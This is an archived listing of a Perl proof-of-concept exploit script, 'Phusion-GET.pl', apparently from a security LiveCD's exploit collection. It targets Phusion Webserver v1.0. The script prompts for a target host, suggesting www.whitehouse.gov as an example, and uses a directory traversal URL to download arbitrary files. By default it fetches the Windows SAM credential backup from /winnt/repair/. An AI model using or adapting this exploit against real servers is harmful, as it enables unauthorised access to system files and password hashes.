home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / phusion / Phusion-GET.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  55 lines
  1. #!/usr/bin/perl
  2. #
  3. # THIS SCRIPT ONLY FOR WINDOWS WITH PERL OR CYGWIN 
  4. # 
  5. # Simple script to get files on server. 
  6. # 
  7. # Maybe u need this line for windows:
  8. # #! c:\perl\bin\perl.exe
  9. #
  10. # Phusion Webserver v1.0 proof-of-concept exploit.
  11. # By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
  12. #
  13. # Thanks all the people from Spain and Argentina.
  14. # Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
  15. # G.Maggiotti & H.Oliveira.
  16. # 
  17. #
  18. # Usage: perl -x Phusion-GET.pl <And read the Intructions>
  19. #  
  20. #
  21.  
  22.  
  23. print("\nPhusion Webserver v1.0 GET Files exploit (c)2002.\n");
  24. print("Alex Hernandez al3xhernandez\@ureach.com\n\n");
  25.  
  26.  
  27. print <<"EOT";
  28. Please type the address remote webserver, example: www.whitehouse.gov
  29. [Default remote Webserver is "127.0.0.1"`]:
  30. EOT
  31. $host = <>;
  32.  
  33. print <<"EOT";
  34. Please type only in the directory where the file is located you want to
  35. download, 
  36. example: /winnt/repair/
  37. [default directory is "/winnt/repair/"] :#For IIS 4-5
  38. EOT
  39. $directory = <> || "/winnt/repair/";
  40.  
  41.  
  42. print <<"EOT";
  43. Please type in the filename you want download example: sam._ 
  44. [default file is "sam._"] :
  45. EOT
  46. $file = <> || "sam._";
  47.  
  48. {
  49. #Maybe u to change this line depending of PATH installation.
  50. system("explorer.exe", "http://$host:80/../../..$directory$file");
  51. }
  52.  
  53. print <<"EOT";
  54.  
  55.